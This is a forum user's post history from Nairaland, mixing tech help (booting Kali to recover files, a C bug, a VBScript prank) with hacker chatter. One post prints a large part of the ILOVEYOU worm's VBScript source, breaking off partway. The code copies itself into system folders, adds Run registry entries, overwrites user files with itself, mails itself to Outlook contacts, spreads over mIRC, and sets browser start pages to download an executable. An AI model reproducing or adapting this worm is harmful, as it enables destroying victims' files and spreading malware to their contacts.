Syntax3rror's Posts
Nairaland Forum › Syntax3rror's Profile › Syntax3rror's Posts
1 (of 1 pages)
Well, it would be helpful if you could have mentioned what OS/version you are running, I will go ahead and assume that you are on Windows. This technique will work for most any operating system, though. If there are files on the disk that you need to recover, then it is actually pretty easy to get ahold of them without even booting into Windows. What you need to do is go on another computer and go to kali.org, and download the Kali Linux .iso file. Make sure that you are getting the right one, if you get a 64 bit file for a 32 bit system then you are screwed, so be sure and get the one that is compatible with your hardware. If you do not know whether you are on a 32 or 64 bit system, you can look on the computer next to the keyboard, there are usually stickers that say this. Once you have the Kali .iso file, burn it to a DVD or USB drive, either one will work. Be sure to burn it as an image instead of burning the files. If you are on a *nix system, you can run this command from a terminal to burn it quickly and easily without installing anything: dd if=~/path_to_kali.iso of=/dev/disk2s1 bs=512k conv=noerror,sync. Replace ~/path_to_kali.iso with the actual location of the Kali Linux iso file that you downloaded, and replace /dev/disk2s1 with the device node for your USB/DVD. If you are on Windows then you will need to use burning software I think. Now take your drive with Linux on it and shut down the computer, put the drive in and reboot while holding down F12 to enter the BIOS boot menu. Select your USB/DVD drive from the menu and then hit enter to boot from it. If everything went well, you should now be greeted by a red and blue screen with several options on it. Select the one that says something like Live Usb Install (Persistence), and hit enter again, and boot into Kali. So now you can go ahead and click the icon on the desktop that says Computer. On the top left it should have a list of other volumes on the disk. One of those is your operating system with all of the files that you need on it. Double click on that, and find the files that you need, and save them to your USB stick/DVD drive. Now, you can reinstall Windows (or if you like, you can get your hands on a good Unix/Linux system, I recommend Debian ;] ), and once that is done, just boot into Kali again and transfer your files back onto your hard disk. Kind of a hassle, but short of something like bruteforcing the admin password, which would take ages and ages and probably kill your CPU, or something like resetting the NVRAM, which might or might not affect the actual OS, I don't really see how else to get back in. How the hell did you manage to forget your own password anyway? Unless you are like me, and make twenty-five character passwords because you are paranoid, I don't see how it could happen. Probably a good idea to have two or even three admin accounts for redundancy, so there is a greater chance that you will remember the pass for at least one of them and not be locked out forever, like you are now. Before you run off and format your disk, though, let me give you a little advice. Sit down in a nice quiet room for a minute, and close your eyes. Try to clear your mind of any and all distractions or errant thoughts. Now start to think about your computer. Focus your mind on that time when you last changed your password. What were you thinking? What was going through your head? Slowly become aware of the password returning to your memory. You remember now! It all becomes clear! You changed it to "icanhazpasswordz" late last Wednesday night! No but really, see if you can remember it XD. Good luck with your password troublez. |
Google. The greatest hacking tool out there....... |
So I started learning C like a week ago, and I for the life of me cannot figure out how to fix this simple script that I am writing. It is supposed to output the contents of a file with line numbers added, but what it does is just prints this: 1: MasterOfTheUniverse:~ syntax3rror$ Here are my codez: #include <stdio.h> #include <stdlib.h> void display_usage(void); int line; main(int argc, char *argv[]) { char buffer[256]; FILE *fp; if( argc < 2 ) { display_usage(); exit(1); } if (( fp = fopen( argv[1], "r" )) == NULL ) { fprintf( stderr, "Error opening file, %s!", argv[1] ); exit(1); } line = 1; while( 1 == 1 ) { fprintf( stdout, "%d:\t%s", line++, buffer ); fclose(fp); return 0; } } void display_usage(void) { fprintf(stderr, "\nProper Usage is: " ); fprintf(stderr, "\n\n/list filename.ext\n" ); } I am pretty sure that the bug is on line 30, while( 1 == 1 ). Previously that line was while( fgets( buffer, 256, fp ) != NULL ), but then I had a different bug, it just printed the first line and then stopped, I think because it encountered the null char at the end of the line and thought it was a null pointer. Dumb little compiler. I considered just making it so that you would have to put a certain EOF character at the end of the file to tell it to stop, but then that would be cheating since you would have to modify the file. I don't even know why while( 1 == 1) won't work, it should always evaluate to true and then it keeps looping through the file until it reaches the end, right? But that wasn't what it did. I am kind of confused right now? |
this is another good one: set shellobj = CreateObject("WScript.Shell" shellobj.run "notepad" shellobj.sendkeys "YOU " wscript.sleep 1000 shellobj.sendkeys "HAVE " wscript.sleep 1000 shellobj.sendkeys "BEEN " wscript.sleep 1000 shellobj.sendkeys "PWNED." wscript.sleep 1000 shellobj.sendkeys "{ENTER}" wscript.sleep 4000 shellobj.sendkeys "{ALT+F4}"(written by me ^^ ) |
**the full ILOVEYOU source code:** On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq=”” ctr=0 Set fso = CreateObject(“Scripting.FileSystemObject”) set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject(“WScript.Shell”) rr=wscr.RegRead(“HKEYCURRENTUSER\Software\Microsoft\Windows Scripting Host\Settings\Timeout”) if (rr>=1) then wscr.RegWrite “HKEYCURRENTUSER\Software\Microsoft\Windows Scripting Host\Settings\Timeout”,0,”REGDWORD” end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&”\MSKernel32.vbs”) c.Copy(dirwin&”\Win32DLL.vbs”) c.Copy(dirsystem&”\LOVE-LETTER-FOR-YOU.TXT.vbs”) regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate “HKEYLOCALMACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32 “,dirsystem&”\MSKernel32.vbs” regcreate “HKEYLOCALMACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi n32DLL”,dirwin&”\Win32DLL.vbs” downread=”” downread=regget(“HKEYCURRENTUSER\Software\Microsoft\Internet Explorer\Download Directory”) if (downread=”“) then downread=”c:” end if if (fileexist(dirsystem&”\WinFAT32.exe”)=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”,”http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe” elseif num = 2 then regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”,”http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe” elseif num = 3 then regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”,”http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm POhfgER67b3Vbvg/WIN-BUGSFIX.exe” elseif num = 4 then regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”,”http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX .exe” end if end if if (fileexist(downread&”\WIN-BUGSFIX.exe”)=0) then regcreate “HKEYLOCALMACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI X”,downread&”\WIN-BUGSFIX.exe” regcreate “HKEYCURRENTUSER\Software\Microsoft\Internet Explorer\Main\Start Page”,”about:blank” end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&”“) end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext=”vbs”) or (ext=”vbe”) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext=”js”) or (ext=”jse”) or (ext=”css”) or (ext=”wsh”) or (ext=”sct”) or (ext=”hta”) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&”“&bname&”.vbs”) fso.DeleteFile(f1.path) elseif(ext=”jpg”) or (ext=”jpeg”) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&”.vbs”) fso.DeleteFile(f1.path) elseif(ext=”mp3”) or (ext=”mp2”) then set mp3=fso.CreateTextFile(f1.path&”.vbs”) mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s=”mirc32.exe”) or (s=”mlink32.exe”) or (s=”mirc.ini”) or (s=”script.ini”) or (s=”mirc.hlp”) then set scriptini=fso.CreateTextFile(folderspec&”\script.ini”) scriptini.WriteLine “[script]” scriptini.WriteLine “;mIRC Script” scriptini.WriteLine “; Please dont edit this script… mIRC will corrupt, if mIRC will” scriptini.WriteLine ” corrupt… WINDOWS will affect and will not run correctly. thanks” scriptini.WriteLine “;” scriptini.WriteLine “;Khaled Mardam-Bey” scriptini.WriteLine “;http://www.mirc.com” scriptini.WriteLine “;” scriptini.WriteLine “n0=on 1:JOIN:#:{” scriptini.WriteLine “n1= /if ( $nick == $me ) { halt }” scriptini.WriteLine “n2= /.dcc send $nick “&dirsystem&”\LOVE-LETTER-FOR-YOU.HTM” scriptini.WriteLine “n3=}” scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject(“WScript.Shell”) regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject(“WScript.Shell”) regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject(“WScript.Shell”) set out=WScript.CreateObject(“Outlook.Aplication”) set mapi=out.GetNameSpace(“MAPI”) for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead(“HKEYCURRENTUSER\Software\Microsoft\WAB”&a) if (regv=”“) then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad=”” regad=regedit.RegRead(“HKEYCURRENTUSER\Software\Microsoft\WAB”&malead) if (regad=”“) then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = “ILOVEYOU” male.Body = vbcrlf&”kindly check the attached LOVELETTER coming from me.” male.Attachments.Add(dirsystem&”\LOVE-LETTER-FOR-YOU.TXT.vbs”) male.Send regedit.RegWrite “HKEYCURRENTUSER\Software\Microsoft\WAB”&malead,1,”REGDWORD” end if x=x+1 next regedit.RegWrite “HKEYCURRENTUSER\Software\Microsoft\WAB”&a,a.AddressEntries.Count else regedit.RegWrite “HKEYCURRETNUSER\Software\Microsoft\WAB”&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1=”LOVELETTER - HTMLCompare this to format C:\ ......... |
I have to point out that no matter how hard you try to obscure your source code, anyone who is smart enough to use Telnet can get it anyway, unless you disable it. i am fairly sure about how you disable it on a linux server: # grep /etc/xinetd.d/telnet disable=no #nano /etc/xinetd.d/telnet and change disable=no to disable=yes. idk how to do it on a windows server ^.^ |
Whoops, looks like the XSS filter messed up the code..... just put a close paren ) wherever there are those green face things. ![]() |
https://www.nairaland.com/1923505/create-harmful-computer-virus-using#26681912 It won't let me reply to it since I have not been here very long, but it really got under my skin, all of the people out there that have a windows machine and know like 3 batch commands and don't even know any VB or anything and think they are master virus writers and the 3l33t king of the universe simply because they can write a batch file that will be caught by any AV that is <20 years old. Literally. Well. I have news for you. 'Serial Number : 0.7055475 @set hjmmt=echo#viruses written by zer0 cool #https://es-la.facebook.com/pages/Hacker-Zero-Cool/136665923038602 |
You are forgetting someone.... Carolyn Meinel, she is one of the greatest hackers out there, she wrote this book the happy hacker and made this site happyhacker.org. Some people (http://attrition.org/errata/charlatan/shame/index2.html) don't like her, but I think she is awesome, she has been very helpful to me on multiple occasions. |
1 (of 1 pages)
shellobj.run "notepad" shellobj.sendkeys "YOU " wscript.sleep 1000 shellobj.sendkeys "HAVE " wscript.sleep 1000 shellobj.sendkeys "BEEN " wscript.sleep 1000 shellobj.sendkeys "PWNED." wscript.sleep 1000 shellobj.sendkeys "{ENTER}" wscript.sleep 4000 shellobj.sendkeys "{ALT+F4}"